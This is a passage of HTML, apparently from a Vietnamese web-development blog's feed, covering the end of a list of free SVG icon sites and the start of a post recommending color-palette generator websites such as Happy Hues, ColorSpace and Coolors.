url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwUlEQVQoz1WS25ajIBBF8yETEUUiCALFzQtiVkz+/5d6lNXdM/tBeaDOrrK8VRf3C4xxjWpUoaqqCCGM9W3bNk1T13VVVX8uqn+4lRfGuFwSQjrnjNbGAO26vmfOubqutTHamHGUTdPc7/f/ihFCJb5pGkI6SiljrG1bjDEhpDRCCGnbFiH0ay4Nl34YY5zzvu+VUuM4GmO01n3fCyG89z/XfosppZftTC0T/jxLEKWUEEIpxRf1N2fxtm0AoC+EENZaKSUAeO9jjNM0hRBSSuu6Wmvnixjj8/nEGN9CCFrrYRgYY5TS/oIxppTquo4xVnKnb7z3+74fx1HX9W2eZ+dcjNEYAwBSyhKhtXbOresaQrDWruvqnPPel4MxBiF0FssLAOCcd103DIOUcp7nlNL7/bYXAFAOSiljjJTynHnf92macs4ppRij9z7nvG3bsixlbOfcsixCCH0u3xRNzvk0l2aKTSllrS0bGscRAIQQZXPOOWvteOGcCyGc5s/ns+97Solz7r1/vV5FnnMuWTnnGONxHNu2pZRCCACw7/tpRghxzh+PR/mHtNYAoJQahkEp5b0vuymfxnsvpUQXf81f+TGHE9+WIkIAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Entypo" title="Entypo" src="/static/995d24195ff2414d4e39b03a96cdd44c/7c811/web-tai-free-icon-svg-entypo.png" srcset="/static/995d24195ff2414d4e39b03a96cdd44c/103f2/web-tai-free-icon-svg-entypo.png 165w, /static/995d24195ff2414d4e39b03a96cdd44c/748ba/web-tai-free-icon-svg-entypo.png 330w, /static/995d24195ff2414d4e39b03a96cdd44c/7c811/web-tai-free-icon-svg-entypo.png 660w, /static/995d24195ff2414d4e39b03a96cdd44c/d28e0/web-tai-free-icon-svg-entypo.png 990w, /static/995d24195ff2414d4e39b03a96cdd44c/bb51b/web-tai-free-icon-svg-entypo.png 1320w, /static/995d24195ff2414d4e39b03a96cdd44c/19a6c/web-tai-free-icon-svg-entypo.png 1373w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="octicons" style="position:relative;"><a href="#octicons" aria-label="octicons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://primer.style/octicons/">Octicons</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 65.45454545454545%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQoz6WQy04CQRBF5x/ECAyEkYciJEaJxIWJiTFu3fijBoS/0tjQ1fUc0O4hbnQxiSd30emq23Wrs7w/yecv7dlz1PS+1Sna3dO8N6ijrNs/O7++m94+XcwfJ/OH8eXNaHKVF8O65uF01j+fFoNRMRwXo4veYNwphnWUNVrd43bRaHWPmvnRSVSj2ampbLlavy6Wr4vl4m21XK3r6221zvb/IBORT+f2+335F7vE78vqkJVl6T2IiJmVZrvdTlXNTBIQAhGxCDMTkaiKCCKKSJyspgAhhMDMauqc8x6qh81MVZkZEZFIRAKi9x4AECmZVbfbbUAkZoDgUzE1x3I1EENwzuEBYmEzi2Yz++kGAGYWEU7Z4gQ6AADexzYI4f3jw202B3OVuRoSNy9LIvbeh4BV7IoUjgGA0iLRnFpJVX0CidQOe4aEiMTkiKKaDpS+U7/NX84QHRGgD7S6AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Octicons" title="Octicons" src="/static/d7fca7871854d790aa5cc314e8e7f3b7/7c811/web-tai-free-icon-svg-octicons.png" srcset="/static/d7fca7871854d790aa5cc314e8e7f3b7/103f2/web-tai-free-icon-svg-octicons.png 165w, /static/d7fca7871854d790aa5cc314e8e7f3b7/748ba/web-tai-free-icon-svg-octicons.png 330w, /static/d7fca7871854d790aa5cc314e8e7f3b7/7c811/web-tai-free-icon-svg-octicons.png 660w, /static/d7fca7871854d790aa5cc314e8e7f3b7/d28e0/web-tai-free-icon-svg-octicons.png 990w, /static/d7fca7871854d790aa5cc314e8e7f3b7/b72ad/web-tai-free-icon-svg-octicons.png 1242w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="material-design-icons-by-google" style="position:relative;"><a href="#material-design-icons-by-google" aria-label="material design icons by google permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://github.com/google/material-design-icons">Material Design icons by Google</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABiUlEQVQoz42SPW7jMBCFc6Csu6TyCbKFS7uzD+DW53PjMtsplSEY69aw+DPDGYqklGRIWRvBAbIfQGFAYcA3780DM1trAazWRilljHybATXWqlHkqJ3ygIin06mu6/P5TEScoQzfKHWYIs1vVfX0/DyfzxeLBTMjIgKIFhwwxjjnStGG8J7puk6aj8fjcrlcrVbb7bbcdl2XUuq+o7+RUpJmpdThcNjv96+vf1JK8f8YZFdVNZvNfj0+/n55ISYQ1WCMBQAcagMI1hoAyPplqBijNNd1vdls1uv1brd7/4m+74v4QTYzX6/Xy+XSNA0AWGNHTEbMkygBALz3k6iKw9lOdCLLFW+LZjmFb5tl+hidc8zcti0zA0D5R0TW2pTSvf4hqhCC9x4Ry2KUB5l9WRNEbNs23TEYRkSNUtoYrZXOR3ZSSu29L5GMav0XpHm4Y/J33Eb7N2cIYZJzG4InxMvfGCMRuexXCTnXTmudNxSttcw8mbmYZK3M1ve9hJnzHBkTLoz7+9n8AZLeSwQPec+aAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Material Design icons by Google" title="Material Design icons by Google" src="/static/47e625cc6d50ccae6656efd883ab0013/7c811/web-tai-free-icon-svg-material-icons.png" srcset="/static/47e625cc6d50ccae6656efd883ab0013/103f2/web-tai-free-icon-svg-material-icons.png 165w, /static/47e625cc6d50ccae6656efd883ab0013/748ba/web-tai-free-icon-svg-material-icons.png 330w, /static/47e625cc6d50ccae6656efd883ab0013/7c811/web-tai-free-icon-svg-material-icons.png 660w, /static/47e625cc6d50ccae6656efd883ab0013/d28e0/web-tai-free-icon-svg-material-icons.png 990w, /static/47e625cc6d50ccae6656efd883ab0013/f6540/web-tai-free-icon-svg-material-icons.png 1063w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="iconarchive" style="position:relative;"><a href="#iconarchive" aria-label="iconarchive permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://iconarchive.com/svg-icons.html">IconArchive</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.909090909090914%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQUlEQVQozwXBy1LTUAAA0HyMS//AnQsXzvgBbly4cUYXjjpuXDiODmyUgQUDPsYOukCl4IClQClIq6WUtkifKaXNgyQ37yZpXjfJTXI9h6gBqzhK+1JapeK2EB93NFrWy6wytzfotU/PyjnbdqDvrDX6RxvrtjoetCu6OASSbNsWkT+sv1naLHS9Yj/cJ5NCuSNTF7M7vQPGy32Zn312byKOkTE6qvcXn95slL7+zWeY/h/b8ZIYESzN1mtVH0LRw5YHgR4CoPM04/nI0BUZcLosGYqoSjLNM1PXhr45maiOGwYhIq4MxUFpEkLsaoFlmdFUgaaoMTE0ranLCVKaxnGCWYs3EiHFCXY8FCLkCmlgEg/zwxsZ8tY7qjSTu/gxf2fl9l57OwJFBMrciGrmt6CmmTTDcT+5vSdWfyt6v4yPc6D5QGE3iZWm9jjPvs5Sw8UNJvvpeeHFGfdPGVUuq/vYMWK2ZwFVbXUm5yV+ccbtVdKXr5LSrtpcMC5LhG1PoY8iCDFOYRjhFHt+wAJNkc0AxVGS2K7rRkg1jAjZCcZJEHh+4E5DFCQEKY13d7OKCo5rv6AfnJzvdKlTTRVSCENNR8xVEoRY4Ks09bFuGI7nuxaKsaFVXLtL0KurrevXmOLB5/zd1vB3pfDI5j+EG0VYrfrrW87CctDqxN+yXYa/v9apkfTMAXkqIrKzdDH4TrBn5/TbuSkQy80MJ5GArgtMxacBUhUkSpEAoKZBhuOFscic0JK+PZDaChTphgRG/wFKZvvJNSQlSAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="IconArchive" title="IconArchive" src="/static/b6df2d66d45d2de559e6770d1c9f64ba/7c811/web-tai-free-icon-svg-icon-archive.png" srcset="/static/b6df2d66d45d2de559e6770d1c9f64ba/103f2/web-tai-free-icon-svg-icon-archive.png 165w, /static/b6df2d66d45d2de559e6770d1c9f64ba/748ba/web-tai-free-icon-svg-icon-archive.png 330w, /static/b6df2d66d45d2de559e6770d1c9f64ba/7c811/web-tai-free-icon-svg-icon-archive.png 660w, /static/b6df2d66d45d2de559e6770d1c9f64ba/d28e0/web-tai-free-icon-svg-icon-archive.png 990w, /static/b6df2d66d45d2de559e6770d1c9f64ba/bb51b/web-tai-free-icon-svg-icon-archive.png 1320w, /static/b6df2d66d45d2de559e6770d1c9f64ba/d853e/web-tai-free-icon-svg-icon-archive.png 1436w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 18 trang tải free icon SVG cực chất lượng cho cả dự án cá nhân và thương mại.</p> <p>Bạn thấy thích trang web nào nhất?</p> <p>Ngoài những trang web trên thì bạn có gợi ý trang nào khác không?</p> <p>Chia sẻ với mình trong phần bình luận nhé!</p>[email protected]<![CDATA[10 trang web tạo palette màu cực tốt]]><![CDATA[Đối với lập trình viên web, việc lựa chọn tổ hợp mã màu sao cho phù hợp với project của mình thật sự khó khăn. Vì vậy, bài viết này mình sẽ tổng hợp lại 10 trang web tạo palette…]]>https://completejavascript.com/trang-web-tao-palette-mau-cuc-tot/https://completejavascript.com/trang-web-tao-palette-mau-cuc-tot/<![CDATA[Resources]]>Mon, 11 Oct 2021 20:00:00 GMT<p>Đối với lập trình viên web, việc lựa chọn <a href="/ma-mau-logo-cac-thuong-hieu-noi-tieng/">tổ hợp mã màu</a> sao cho phù hợp với project của mình thật sự khó khăn. Vì vậy, bài viết này mình sẽ tổng hợp lại 10 trang web tạo palette màu cực tốt, màu sắc hiện đại và tươi mới.</p> <h2 id="palette-màu-là-gì" style="position:relative;"><a href="#palette-m%C3%A0u-l%C3%A0-g%C3%AC" aria-label="palette màu là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Palette màu là gì?</h2> <p>Palette màu có thể hiểu đơn giản là một bảng màu. Đối với lập trình web thì đó chính là tổ hợp các màu mà bạn sẽ sử dụng cho các phần tử trên website.</p> <p>Ví dụ như màu của background, màu chữ, màu link, màu của button,....</p> <h2 id="tại-sao-nên-sử-dụng-palette-màu-có-sẵn" style="position:relative;"><a href="#t%E1%BA%A1i-sao-n%C3%AAn-s%E1%BB%AD-d%E1%BB%A5ng-palette-m%C3%A0u-c%C3%B3-s%E1%BA%B5n" aria-label="tại sao nên sử dụng palette màu có sẵn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao nên sử dụng Palette màu có sẵn?</h2> <p>Nếu bạn có năng khiếu về design hoặc biết kết hợp màu sắc thì bạn có thể tự tìm ra các mã màu và sự kết hợp của chúng sao cho hợp lý.</p> <p>Nhưng ngược lại thì rất có thể, bạn sẽ tạo ra một sản phẩm mà màu sắc của các phần tử không thật sự đẹp. Hoặc các màu sắc khi kết hợp lại với nhau không thể hiện được sự tương phản, kém nổi bật.</p> <p>Khi đó, bạn có thể <a href="https://toolskitplus.com/color-palette-extractor/">extract palette màu</a> từ một bức ảnh có sẵn. Nhưng đặc biệt hơn, bạn nên tham khảo 10 trang web tạo palette màu cực tốt sau đây.</p> <h2 id="trang-web-tạo-palette-màu-cực-tốt" style="position:relative;"><a href="#trang-web-t%E1%BA%A1o-palette-m%C3%A0u-c%E1%BB%B1c-t%E1%BB%91t" aria-label="trang web tạo palette màu cực tốt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trang web tạo palette màu cực tốt</h2> <p>Dưới đây là danh sách 10 trang web tạo palette màu cực tốt dành cho bạn.</p> <h3 id="happy-hues" style="position:relative;"><a href="#happy-hues" aria-label="happy hues permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.happyhues.co/">Happy Hues</a></h3> <p>Happy Hues không chỉ đưa ra các palette màu, mà còn cho bạn ví dụ trực quan khi áp dụng các tổ hợp màu đó vào thực tế.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 72.72727272727273%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2ElEQVQoz1VTi0tTURy+f10URUbQAwKnaUUJmWZpphatdCm6TCUMe5hGqISKlGUoZE8NM6dzm7u7z3PfV9ce97Gzc+6JbZb2ceD8+A7f93vwO9S3xe/r33/sJJOOZRtAct0czEEIIcaY/AXGOJ/PI4QRQoW7GHieR40ODL0cHOJ4Lq0by5PTggA4RgSikklnCSGe5xFCshlL18zfyVQ6ndE1c9tM7phJCPNUsKG1vbk1shlG+1KVZPtRIhEif8MCqNW5heh6SFdVx3FLmkDLs5ryzrqzvVcqH5ROrS94pSJ42dd752owvLpEvF0LanPjM81IuqY7jkMIgTnYVNN/5vDtirK7vqN+31F/RZnfd6qr/GR3xZEb0bVlTRF4OlxMg6nxp31Tk7O8IEAICSHbZhKIqsQrkqhKogp4mWYkaf6j8n6hpf7R8MBzJraWSpqlGqnrhw821zaHwhuehz1CNFnTBanwhhEhxLUdVtI2Hw5Gu3vbGp+cPtASCUWL8y/UTbU0d1+/0RPejGGMPEIMHsijr/Jod3i27Siy2tM+dq9txN/4uOr4fSYuF62L4omhF2+n53gBQAg9QkzNzNZfTQcCqbkPFs1knRzPitwWp6vGrYbBymMdTBzsZf7weuzX8oqkKDm3MG1DNaymJnK+Gp6rdi5dVKZmOElPbLGaqt2sHThzyJ+IiXviEzVVZXUNITpeoDzP1Aynvo5cqIY1F+3z51LVVdGfGwwLdM3ouTdy7UK/yKn/lof6NDG+OP81lcmU/HTFkIN9RnvACHSZgU6lozOytMpykqYaOzspjPcWpiiefbe+EspkMiU2n0cOwlYeWQjbCFsIu27Oth3HdhBC5H9QMzNvIiu/LMuyshYd53gW0DFWBhrPATYhyECVgWro24k4vxVjORaUut0VLwzPfZ75YqfSrpvjGJHeYiPhuMhLDM3HIgmBAyIvSUClYwWeY8X9v+0P9f31B/a8xZoAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Happy Hues" title="Happy Hues" src="/static/496e201877e6ce36853520703f788386/7c811/trang-web-tao-palette-mau-cuc-tot-happy-hues.png" srcset="/static/496e201877e6ce36853520703f788386/103f2/trang-web-tao-palette-mau-cuc-tot-happy-hues.png 165w, /static/496e201877e6ce36853520703f788386/748ba/trang-web-tao-palette-mau-cuc-tot-happy-hues.png 330w, /static/496e201877e6ce36853520703f788386/7c811/trang-web-tao-palette-mau-cuc-tot-happy-hues.png 660w, /static/496e201877e6ce36853520703f788386/d28e0/trang-web-tao-palette-mau-cuc-tot-happy-hues.png 990w, /static/496e201877e6ce36853520703f788386/1085b/trang-web-tao-palette-mau-cuc-tot-happy-hues.png 1173w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="colorspace" style="position:relative;"><a href="#colorspace" aria-label="colorspace permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://mycolor.space/">ColorSpace</a></h3> <p>Với ColorSpace, bạn chỉ cần nhập vào một mã màu chủ đạo. Sau đó, trang web này sẽ tự động sinh ra các palette màu có thể phối hợp với mã màu mà bạn nhập vào.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 74.54545454545453%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+0lEQVQoz22Q21NaZxTFz//XmTx08tB0JoaKkYlGIFzkcJECsSgK1cRyMSSQg1IUIlEgVp1ah1aNzjjmMkkV0AlBDUZiMXL1fOd8q1MnmSaTrKe1H35777WY03uT9fFYcywshAII+zF5B9N+zAXeJqN7iXgh9eBoPoj1YWw48dSBl4M0M4j84NbOnfxrL3PQbikpbRXH7SprOmO1olmNXiUc8nlZgJNOhVrjqS4fiUiQaMWsBIsScbUNmy33lgZS6zbmVZu9dCvceLJV8YVOFdqGrls0qqhVaYy4LybGvk2FumMuIShF5Ac6I0PaIK5Z8KLXu+R7mDYxGamrOBQtuaPlu7Fj7c0Thb6u1fEGzfBdlzIyIo+OOLlewdOOQBudUmOOpY9k2Apuro1mVvTM5vfOwkBs/yZ36OCK8r6ja6ay0ljTsFApoO2AUYafZBi+jl/acb8Tc31YsGDViWUd1lTMyuVb29bITs9YXu/fvWzba7MedpiPu0wnan2V1fFGDbXegL0LQ3KErUi6MO9CQktnb9A/NMxfCm5Dw/1tmciZQrnOkV2JvSC1Fa9Z3snN71XGejdLDBr8bIPHBq4f0QHMOBE3I2VGSsFMfuNKXHCmW72Pr4w8k7kzne5ci333O+N+i+Ftq+4fmboiV/O3h0SbDv3d8PTArcZoFyb0GJcx6f7ZVcejjf7Ec2dieyiZ980VxxeL7uljb/zEP1UJxBrcZCMUJlyQPvgVCzNYjGM5gZUp/O5j8DVRoC4KNYGvElIjhOLr+h/mm0KjSkidiDXCVxp72Z1CNpfPbr/OZkS+BlKD2ACtgZ6dL6cfYFH4zyX92z2X0gvsSk6a2mNnYRil9vsI9yH4I1ZZrF8VirYmLyd87PyW+Bk87dliLy79pv4z25IsqJJQDlOTl/pN1KPFsgqPJcJBzxnpIPzEZ/D5CyiX6oWd8mmxWtl91zw44QuH5E2JlN6Qo32hcsC/fyWeHTabeVEsf6wFzBdNfQgkfjSfjqII+kl7/wL9FLYDkMw+UAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="ColorSpace" title="ColorSpace" src="/static/692ad4ab98a1b857d91383b4534cd18b/7c811/trang-web-tao-palette-mau-cuc-tot-colorspace.png" srcset="/static/692ad4ab98a1b857d91383b4534cd18b/103f2/trang-web-tao-palette-mau-cuc-tot-colorspace.png 165w, /static/692ad4ab98a1b857d91383b4534cd18b/748ba/trang-web-tao-palette-mau-cuc-tot-colorspace.png 330w, /static/692ad4ab98a1b857d91383b4534cd18b/7c811/trang-web-tao-palette-mau-cuc-tot-colorspace.png 660w, /static/692ad4ab98a1b857d91383b4534cd18b/d28e0/trang-web-tao-palette-mau-cuc-tot-colorspace.png 990w, /static/692ad4ab98a1b857d91383b4534cd18b/312cc/trang-web-tao-palette-mau-cuc-tot-colorspace.png 1182w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="coolors" style="position:relative;"><a href="#coolors" aria-label="coolors permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://coolors.co/">Coolors</a></h3> <p>Colors cho phép bạn tạo random các palette màu. Hơn nữa, bạn có thể xem các palette màu có sẵn, palette màu nào đang là xu hướng, phổ biến,...</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 73.93939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNklEQVQoz+3Ra0/acBQG8H7dJcuWZZOwaawURnUvNmMQBBW5WHsBukkNMHFcRAwI2zBGFwwglyHlIpfSG9T+u8jcPsBe7+R5+zsnTw5Uv1PTJbXIqq2+eMt2u51Ot9sbDoccN+K40UQWp/egPQK8IMmiKEnSdDLVFCFyoT7xqhAAmqpqAGga0P6OLMv9/vD+HqiqxvHyHSdLE0WUJF4QeFEaC+LDKkmGiv3gQwbBH10mdRFPFpKJ88TxeWJYOwKtmHIbA2wss+8KuzYOvY6w296Me+Q8Jpxh4hkGZVqrmdZqll1N/1wjE97dKLZ7hJExbFB0axW3UnJrVQ/9Xm/TPd1eeO54/ayEzcvhpTED8wcwlGdtedb2tW3LNjfoNEklfFTSRx/7Bte4VsWVCg7qBLNucMI6r0nvQvQVyihHl8cRlP+MQjnWmmOt+bY107QFTggyTpEJKpCkBtd7WnVPqeyBOs5Y4O3FVx6jbsegK5OIfIiOw2Y+Yv6P/wGftdZz7PojjlFEnJxhHNxg0zIGan+wSb9j0FUoRDpEudDbR/y9Zy/07ZmmjT4h/KmAPxWgj2eXGwRokFqdYCzw1sIL19JL59JcmUSUL8uToxXh959DBTRUMGeaG/4UvklvOmgHFcNHJaJXcFRPLcoNxljgXXSRXkNdRn2FQtiP8KV7rs8gUPbWEr16F71cOW1YAye4c9+5tb/tixOjEjG+cra/2dUaHrTAHtO874Nx1tnQ+QSX8Te9IPIL/mSc8sEcEVEAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Coolors" title="Coolors" 